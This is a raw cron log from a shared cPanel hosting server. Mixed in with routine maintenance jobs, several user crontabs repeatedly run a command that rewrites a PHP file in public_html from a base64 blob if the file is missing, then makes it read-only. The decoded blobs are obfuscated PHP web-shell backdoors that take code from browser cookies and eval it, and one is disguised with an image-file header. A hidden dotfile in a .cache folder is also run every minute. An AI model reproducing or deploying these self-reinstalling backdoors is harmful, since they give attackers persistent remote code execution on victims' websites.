jbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:52:03 medusa CROND[13472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:52:03 medusa CROND[13475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 03:52:03 medusa CROND[13476]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:52:03 medusa CROND[13477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:52:03 medusa CROND[13478]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:52:03 medusa CROND[13487]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:52:03 medusa CROND[13489]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:52:03 medusa CROND[13490]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 03:52:03 medusa CROND[13491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:52:03 medusa CROND[13492]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:52:03 medusa CROND[13493]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:53:02 medusa CROND[2933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 03:53:02 medusa CROND[2934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:53:02 medusa CROND[2939]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:53:02 medusa CROND[2940]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:53:02 medusa CROND[2941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:53:02 medusa CROND[2943]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:53:02 medusa CROND[2944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:53:02 medusa CROND[2945]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:53:02 medusa CROND[2946]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:53:02 medusa CROND[2952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 03:53:02 medusa CROND[2954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:53:02 medusa CROND[2956]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:54:01 medusa CROND[25111]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 03:54:01 medusa CROND[25179]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 03:54:01 medusa CROND[25234]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 03:54:01 medusa CROND[25237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 03:54:01 medusa CROND[25238]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 03:54:01 medusa CROND[25240]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 03:54:01 medusa CROND[25244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 03:54:01 medusa CROND[25245]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 03:54:01 medusa CROND[25246]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
